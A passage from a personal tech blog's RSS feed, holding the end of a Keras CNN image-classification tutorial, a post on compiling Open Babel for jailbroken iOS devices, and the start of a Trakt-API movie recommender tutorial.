<span class="p">(</span><span class="n">y_train</span><span class="p">,</span> <span class="n">y_test</span><span class="p">)</span> <span class="o">=</span> <span class="n">labels</span><span class="p">[(</span><span class="nb">int</span><span class="p">)(</span><span class="mf">0.1</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">labels</span><span class="p">)):],</span><span class="n">labels</span><span class="p">[:(</span><span class="nb">int</span><span class="p">)(</span><span class="mf">0.1</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="n">labels</span><span class="p">))]</span>
</code></pre>
</div>
<pre><code>s=np.arange(X_train.shape[0])
np.random.shuffle(s)
X_train=X_train[s]
y_train=y_train[s]
X_train = X_train/255.0
</code></pre>
<h2 id="model">Model</h2>
<h3 id="creating-model">Creating Model</h3>
<p>By creating a sequential model, we create a linear stack of layers.</p>
<p><em>Note: The input shape for the first layer is 50,50 which corresponds with the sizes of the resized images</em></p>
<div class="codehilite">
<pre><span></span><code><span class="n">model</span> <span class="o">=</span> <span class="n">models</span><span class="o">.</span><span class="n">Sequential</span><span class="p">()</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Conv2D</span><span class="p">(</span><span class="n">filters</span><span class="o">=</span><span class="mi">16</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="s1">'same'</span><span class="p">,</span> <span class="n">activation</span><span class="o">=</span><span class="s1">'relu'</span><span class="p">,</span> <span class="n">input_shape</span><span class="o">=</span><span class="p">(</span><span class="mi">50</span><span class="p">,</span><span class="mi">50</span><span class="p">,</span><span class="mi">3</span><span class="p">)))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">MaxPooling2D</span><span class="p">(</span><span class="n">pool_size</span><span class="o">=</span><span class="mi">2</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Conv2D</span><span class="p">(</span><span class="n">filters</span><span class="o">=</span><span class="mi">32</span><span class="p">,</span><span class="n">kernel_size</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span><span class="n">padding</span><span class="o">=</span><span class="s1">'same'</span><span class="p">,</span><span class="n">activation</span><span class="o">=</span><span class="s1">'relu'</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">MaxPooling2D</span><span class="p">(</span><span class="n">pool_size</span><span class="o">=</span><span class="mi">2</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Conv2D</span><span class="p">(</span><span class="n">filters</span><span class="o">=</span><span class="mi">64</span><span class="p">,</span><span class="n">kernel_size</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span><span class="n">padding</span><span class="o">=</span><span class="s2">"same"</span><span class="p">,</span><span class="n">activation</span><span class="o">=</span><span class="s2">"relu"</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">MaxPooling2D</span><span class="p">(</span><span class="n">pool_size</span><span class="o">=</span><span class="mi">2</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dropout</span><span class="p">(</span><span class="mf">0.2</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Flatten</span><span class="p">())</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dense</span><span class="p">(</span><span class="mi">500</span><span class="p">,</span><span class="n">activation</span><span class="o">=</span><span class="s2">"relu"</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dropout</span><span class="p">(</span><span class="mf">0.2</span><span class="p">))</span>
<span class="n">model</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">layers</span><span class="o">.</span><span class="n">Dense</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="n">activation</span><span class="o">=</span><span class="s2">"softmax"</span><span class="p">))</span><span class="c1">#2 represent output layer neurons </span>
<span class="n">model</span><span class="o">.</span><span class="n">summary</span><span class="p">()</span>
</code></pre>
</div>
<h3 id="compiling-model">Compiling Model</h3>
<p>We use the Adam optimiser as it is an adaptive learning rate optimisation algorithm that's been designed specifically for <em>training</em> deep neural networks, which means it changes its learning rate automatically to get the best results</p>
<div class="codehilite">
<pre><span></span><code><span class="n">model</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="n">optimizer</span><span class="o">=</span><span class="s2">"adam"</span><span class="p">,</span>
<span class="n">loss</span><span class="o">=</span><span class="s2">"sparse_categorical_crossentropy"</span><span class="p">,</span>
<span class="n">metrics</span><span class="o">=</span><span class="p">[</span><span class="s2">"accuracy"</span><span class="p">])</span>
</code></pre>
</div>
<h3 id="training-model">Training Model</h3>
<p>We train the model for 10 epochs on the training data and then validate it using the testing data</p>
<div class="codehilite">
<pre><span></span><code><span class="n">history</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">fit</span><span class="p">(</span><span class="n">X_train</span><span class="p">,</span><span class="n">y_train</span><span class="p">,</span> <span class="n">epochs</span><span class="o">=</span><span class="mi">10</span><span class="p">,</span> <span class="n">validation_data</span><span class="o">=</span><span class="p">(</span><span class="n">X_test</span><span class="p">,</span><span class="n">y_test</span><span class="p">))</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">Train</span> <span class="n">on</span> <span class="mi">24803</span> <span class="n">samples</span><span class="p">,</span> <span class="n">validate</span> <span class="n">on</span> <span class="mi">2755</span> <span class="n">samples</span>
<span class="n">Epoch</span> <span class="mi">1</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">57</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0786</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9729</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">2</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0746</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9731</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0290</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">0.9996</span>
<span class="n">Epoch</span> <span class="mi">3</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0672</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9764</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">4</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0601</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9789</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">5</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0558</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9804</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">6</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">57</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0513</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9819</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">7</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0452</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9849</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.3190</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">0.9985</span>
<span class="n">Epoch</span> <span class="mi">8</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0404</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9858</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">9</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0352</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9878</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
<span class="n">Epoch</span> <span class="mi">10</span><span class="o">/</span><span class="mi">10</span>
<span class="mi">24803</span><span class="o">/</span><span class="mi">24803</span> <span class="p">[</span><span class="o">==============================</span><span class="p">]</span> <span class="o">-</span> <span class="mi">58</span><span class="n">s</span> <span class="mi">2</span><span class="n">ms</span><span class="o">/</span><span class="n">sample</span> <span class="o">-</span> <span class="n">loss</span><span class="p">:</span> <span class="mf">0.0373</span> <span class="o">-</span> <span class="n">accuracy</span><span class="p">:</span> <span class="mf">0.9865</span> <span class="o">-</span> <span class="n">val_loss</span><span class="p">:</span> <span class="mf">0.0000e+00</span> <span class="o">-</span> <span class="n">val_accuracy</span><span class="p">:</span> <span class="mf">1.0000</span>
</code></pre>
</div>
<h3 id="results">Results</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">accuracy</span> <span class="o">=</span> <span class="n">history</span><span class="o">.</span><span class="n">history</span><span class="p">[</span><span class="s1">'accuracy'</span><span class="p">][</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="mi">100</span>
<span class="n">loss</span> <span class="o">=</span> <span class="n">history</span><span class="o">.</span><span class="n">history</span><span class="p">[</span><span class="s1">'loss'</span><span class="p">][</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="mi">100</span>
<span class="n">val_accuracy</span> <span class="o">=</span> <span class="n">history</span><span class="o">.</span><span class="n">history</span><span class="p">[</span><span class="s1">'val_accuracy'</span><span class="p">][</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="mi">100</span>
<span class="n">val_loss</span> <span class="o">=</span> <span class="n">history</span><span class="o">.</span><span class="n">history</span><span class="p">[</span><span class="s1">'val_loss'</span><span class="p">][</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="mi">100</span>
<span class="nb">print</span><span class="p">(</span>
<span class="s1">'Accuracy:'</span><span class="p">,</span> <span class="n">accuracy</span><span class="p">,</span>
<span class="s1">'</span><span class="se">\n</span><span class="s1">Loss:'</span><span class="p">,</span> <span class="n">loss</span><span class="p">,</span>
<span class="s1">'</span><span class="se">\n</span><span class="s1">Validation Accuracy:'</span><span class="p">,</span> <span class="n">val_accuracy</span><span class="p">,</span>
<span class="s1">'</span><span class="se">\n</span><span class="s1">Validation Loss:'</span><span class="p">,</span> <span class="n">val_loss</span>
<span class="p">)</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">Accuracy</span><span class="p">:</span> <span class="mf">98.64532351493835</span>
<span class="n">Loss</span><span class="p">:</span> <span class="mf">3.732407123270176</span>
<span class="n">Validation</span> <span class="n">Accuracy</span><span class="p">:</span> <span class="mf">100.0</span>
<span class="n">Validation</span> <span class="n">Loss</span><span class="p">:</span> <span class="mf">0.0</span>
</code></pre>
</div>
<p>We have achieved 98% Accuracy!</p>
<p><a rel="noopener" target="_blank" href="https://colab.research.google.com/drive/1ZswDsxLwYZEnev89MzlL5Lwt6ut7iwp-" title="Colab Notebook">Link to Colab Notebook</a></p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-05-31-compiling-open-babel-on-ios.html
</guid>
<title>
Compiling Open Babel on iOS
</title>
<description>
Compiling Open Babel on iOS
</description>
<link>https://web.navan.dev/posts/2020-05-31-compiling-open-babel-on-ios.html</link>
<pubDate>Sun, 31 May 2020 23:30:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="compiling-open-babel-on-ios">Compiling Open Babel on iOS</h1>
<p>Due to the fact that my summer vacations started today,
I had the brilliant idea of trying to run open babel on my iPad.
To give a little background, I had tried to compile AutoDock Vina using a cross-compiler but I had miserably failed.</p>
<p>I am running the Checkr1n jailbreak on my iPad and the Unc0ver jailbreak on my phone.</p>
<h2 id="but-why">But Why?</h2>
<p>Well, just because I can. This is literally the only reason I tried compiling it and also partially because in the long run I want to compile AutoDock Vina so I can do Molecular Docking on the go.</p>
<h2 id="lets-go">Let's Go!</h2>
<p>How hard can it be to compile open babel right? It is just a simple software with clear and concise build instructions. I just need to use <code>cmake</code> to build and the <code>make</code> to install.</p>
<p>It is 11 AM in the morning. I install <code>clang, cmake and make</code> from the Sam Bingner's repository, fired up ssh, downloaded the source code and ran the build command.`clang</p>
<h3 id="fail-no-1">Fail No. 1</h3>
<p>I couldn't even get cmake to run, I did a little digging around StackOverflow and founf that I needed the iOS SDK, sure no problem. I waited for Xcode to update and transferred the SDKs to my iPad </p>
<pre><code>scp -r /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk root@192.168.1.8:/var/sdks/
</code></pre>
<p>Them I told cmake that this is the location for my SDK 😠. Successful! Now I just needed to use make.</p>
<h3 id="fail-no-2">Fail No. 2</h3>
<p>It was giving the error that thread-local-storage was not supported on this device.</p>
<pre><code>[ 0%] Building CXX object src/CMakeFiles/openbabel.dir/alias.cpp.o
[ 1%] Building CXX object src/CMakeFiles/openbabel.dir/atom.cpp.o
In file included from /var/root/obabel/ob-src/src/atom.cpp:28:
In file included from /var/root/obabel/ob-src/include/openbabel/ring.h:29:
/var/root/obabel/ob-src/include/openbabel/typer.h:70:1: error: thread-local storage is not supported for the current target
THREAD_LOCAL OB_EXTERN OBAtomTyper atomtyper;
^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
# define THREAD_LOCAL thread_local
^
In file included from /var/root/obabel/ob-src/src/atom.cpp:28:
In file included from /var/root/obabel/ob-src/include/openbabel/ring.h:29:
/var/root/obabel/ob-src/include/openbabel/typer.h:84:1: error: thread-local storage is not supported for the current target
THREAD_LOCAL OB_EXTERN OBAromaticTyper aromtyper;
^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
# define THREAD_LOCAL thread_local
^
/var/root/obabel/ob-src/src/atom.cpp:107:10: error: thread-local storage is not supported for the current target
extern THREAD_LOCAL OBAromaticTyper aromtyper;
^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
# define THREAD_LOCAL thread_local
^
/var/root/obabel/ob-src/src/atom.cpp:108:10: error: thread-local storage is not supported for the current target
extern THREAD_LOCAL OBAtomTyper atomtyper;
^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
# define THREAD_LOCAL thread_local
^
/var/root/obabel/ob-src/src/atom.cpp:109:10: error: thread-local storage is not supported for the current target
extern THREAD_LOCAL OBPhModel phmodel;
^
/var/root/obabel/ob-src/include/openbabel/mol.h:35:24: note: expanded from macro 'THREAD_LOCAL'
# define THREAD_LOCAL thread_local
^
5 errors generated.
make[2]: *** [src/CMakeFiles/openbabel.dir/build.make:76: src/CMakeFiles/openbabel.dir/atom.cpp.o] Error 1
make[1]: *** [CMakeFiles/Makefile2:1085: src/CMakeFiles/openbabel.dir/all] Error 2
make: *** [Makefile:129: all] Error 2
</code></pre>
<p>Strange but it is alright, there is nothing that hasn't been answered on the internet.</p>
<p>I did a little digging around and could not find a solution 😔</p>
<p>As a temporary fix, I disabled multithreading by going and commenting the lines in the source code.</p>
<p><img src="/assets/posts/open-babel/s1.png" alt=""Open-Babel running on my iPad"" /></p>
<h2 id="packaging-as-a-deb">Packaging as a deb</h2>
<p>This was pretty straight forward, I tried installing it on my iPad and it was working pretty smoothly.</p>
<h2 id="moment-of-truth">Moment of Truth</h2>
<p>So I airdropped the .deb to my phone and tried installing it, the installation was successful but when I tried <code>obabel</code> it just aborted.</p>
<p><img src="/assets/posts/open-babel/s2.jpg" alt=""Open Babel crashing"" /></p>
<p>Turns out because I had created an install target of a separate folder while compiling, the binaries were referencing a non-existing dylib rather than those in the /usr/lib folder. As a quick workaround I transferred the deb folder to my laptop and used otool and install_name tool: <code>install_name_tool -change /var/root/obabel/ob-build/lib/libopenbabel.7.dylib /usr/lib/libopenbabel.7.dylib</code> for all the executables and then signed them using jtool</p>
<p>I then installed it and everything went smoothly, I even ran <code>obabel</code> and it executed perfectly, showing the version number 3.1.0 ✌️ Ahh, smooth victory.</p>
<p>Nope. When I tried converting from SMILES to pdbqt, it gave an error saying plugin not found. This was weird.</p>
<p><img src="/assets/posts/open-babel/s3.jpg" alt=""Open Babel Plugin Error"" /></p>
<p>So I just copied the entire build folder from my iPad to my phone and tried running it. Oops, Apple Sandbox Error, Oh no!</p>
<p>I spent 2 hours around this problem, only to see the documentation and realise I hadn't setup the environment variable 🤦♂️</p>
<h2 id="the-final-fix-for-now">The Final Fix ( For Now )</h2>
<pre><code>export BABEL_DATADIR="/usr/share/openbabel/3.1.0"
export BABEL_LIBDIR="/usr/lib/openbabel/3.1.0"
</code></pre>
<p>This was the tragedy of trying to compile something without knowing enough about compiling. It is 11:30 as of writing this. Something as trivial as this should not have taken me so long. Am I going to try to compile AutoDock Vina next? 🤔 Maybe.</p>
<p>Also, if you want to try Open Babel on you jailbroken iDevice, install the package from my repository ( You, need to run the above mentioned final fix :p ). This was tested on iOS 13.5, I cannot tell if it will work on others or not.</p>
<p>Hopefully, I add some more screenshots to this post.</p>
<p>Edit 1: Added Screenshots, had to replicate the errors.</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2022-05-21-Similar-Movies-Recommender.html
</guid>
<title>
Building a Similar Movies Recommendation System
</title>
<description>
Building a Content Based Similar Movies Recommendatiom System
</description>
<link>https://web.navan.dev/posts/2022-05-21-Similar-Movies-Recommender.html</link>
<pubDate>Sat, 21 May 2022 17:56:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="building-a-similar-movies-recommendation-system">Building a Similar Movies Recommendation System</h1>
<h2 id="why">Why?</h2>
<p>I recently came across a movie/tv-show recommender, <a rel="noopener" target="_blank" href="https://couchmoney.tv/">couchmoney.tv</a>. I loved it. I decided that I wanted to build something similar, so I could tinker with it as much as I wanted.</p>
<p>I also wanted a recommendation system I could use via a REST API. Although I have not included that part in this post, I did eventually create it.</p>
<h2 id="how">How?</h2>
<p>By measuring the cosine of the angle between two vectors, you can get a value in the range [0,1] with 0 meaning no similarity. Now, if we find a way to represent information about movies as a vector, we can use cosine similarity as a metric to find similar movies.</p>
<p>As we are recommending just based on the content of the movies, this is called a content based recommendation system.</p>
<h2 id="data-collection">Data Collection</h2>
<p>Trakt exposes a nice API to search for movies/tv-shows. To access the API, you first need to get an API key (the Trakt ID you get when you create a new application). </p>
<p>I decided to use SQL-Alchemy with a SQLite backend just to make my life easier if I decided on switching to Postgres anytime I felt like. </p>
<p>First, I needed to check the total number of records in Trakt’s database.</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="n">trakt_id</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">getenv</span><span class="p">(</span><span class="s2">"TRAKT_ID"</span><span class="p">)</span>
<span class="n">api_base</span> <span class="o">=</span> <span class="s2">"https://api.trakt.tv"</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
<span class="s2">"Content-Type"</span><span class="p">:</span> <span class="s2">"application/json"</span><span class="p">,</span>
<span class="s2">"trakt-api-version"</span><span class="p">:</span> <span class="s2">"2"</span><span class="p">,</span>
<span class="s2">"trakt-api-key"</span><span class="p">:</span> <span class="n">trakt_id</span>
<span class="p">}</span>
<span class="n">params</span> <span class="o">=</span> <span class="p">{</span>
<span class="s2">"query"</span><span class="p">:</span> <span class="s2">""</span><span class="p">,</span>
<span class="s2">"years"</span><span class="p">:</span> <span class="s2">"1900-2021"</span><span class="p">,</span>
<span class="s2">"page"</span><span class="p">:</span> <span class="s2">"1"</span><span class="p">,</span>
<span class="s2">"extended"</span><span class="p">:</span> <span class="s2">"full"</span><span class="p">,</span>
<span class="s2">"languages"</span><span class="p">:</span> <span class="s2">"en"</span>
<span class="p">}</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">api_base</span><span class="si">}</span><span class="s2">/search/movie"</span><span class="p">,</span><span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span><span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
<span class="n">total_items</span> <span class="o">=</span> <span class="n">res</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s2">"x-pagination-item-count"</span><span class="p">]</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"There are </span><span class="si">{</span><span class="n">total_items</span><span class="si">}</span><span class="s2"> movies"</span><span class="p">)</span>
</code></pre>
</div>
<pre><code>There are 333946 movies
</code></pre>
<p>First, I needed to declare the database schema in (<code>database.py</code>):</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">sqlalchemy</span>
<span class="kn">from</span> <span class="nn">sqlalchemy</span> <span class="kn">import</span> <span class="n">create_engine</span>
<span class="kn">from</span> <span class="nn">sqlalchemy</span> <span class="kn">import</span> <span class="n">Table</span><span class="p">,</span> <span class="n">Column</span><span class="p">,</span> <span class="n">Integer</span><span class="p">,</span> <span class="n">String</span><span class="p">,</span> <span class="n">MetaData</span><span class="p">,</span> <span class="n">ForeignKey</span><span class="p">,</span> <span class="n">PickleType</span>
<span class="kn">from</span> <span class="nn">sqlalchemy</span> <span class="kn">import</span> <span class="n">insert</span>
<span class="kn">from</span> <span class="nn">sqlalchemy.orm</span> <span class="kn">import</span> <span class="n">sessionmaker</span>
<span class="kn">from</span> <span class="nn">sqlalchemy.exc</span> <span class="kn">import</span> <span class="n">IntegrityError</span>
<span class="n">meta</span> <span class="o">=</span> <span class="n">MetaData</span><span class="p">()</span>
<span class="n">movies_table</span> <span class="o">=</span> <span class="n">Table</span><span class="p">(</span>
<span class="s2">"movies"</span><span class="p">,</span>
<span class="n">meta</span><span class="p">,</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"trakt_id"</span><span class="p">,</span> <span class="n">Integer</span><span class="p">,</span> <span class="n">primary_key</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span> <span class="n">autoincrement</span><span class="o">=</span><span class="kc">False</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"title"</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"overview"</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"genres"</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"year"</span><span class="p">,</span> <span class="n">Integer</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"released"</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"runtime"</span><span class="p">,</span> <span class="n">Integer</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"country"</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"language"</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"rating"</span><span class="p">,</span> <span class="n">Integer</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"votes"</span><span class="p">,</span> <span class="n">Integer</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"comment_count"</span><span class="p">,</span> <span class="n">Integer</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"tagline"</span><span class="p">,</span> <span class="n">String</span><span class="p">),</span>
<span class="n">Column</span><span class="p">(</span><span class="s2">"embeddings"</span><span class="p">,</span> <span class="n">PickleType</span><span class="p">)</span>
<span class="p">)</span>
<span class="c1"># Helper function to connect to the db</span>
<span class="k">def</span> <span class="nf">init_db_stuff</span><span class="p">(</span><span class="n">database_url</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
<span class="n">engine</span> <span class="o">=</span> <span class="n">create_engine</span><span class="p">(</span><span class="n">database_url</span><span class="p">)</span>
<span class="n">meta</span><span class="o">.</span><span class="n">create_all</span><span class="p">(</span><span class="n">engine</span><span class="p">)</span>
<span class="n">Session</span> <span class="o">=</span> <span class="n">sessionmaker</span><span class="p">(</span><span class="n">bind</span><span class="o">=</span><span class="n">engine</span><span class="p">)</span>
<span class="k">return</span> <span class="n">engine</span><span class="p">,</span> <span class="n">Session</span>
</code></pre>
</div>
<p>In the end, I could have dropped the embeddings field from the table schema as I never got around to using it.</p>
<h3 id="scripting-time">Scripting Time</h3>
<div class="codehilite">
<pre><span></span><code><span class="kn">from</span> <span class="nn">database</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">tqdm</span> <span class="kn">import</span> <span class="n">tqdm</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">os</span>
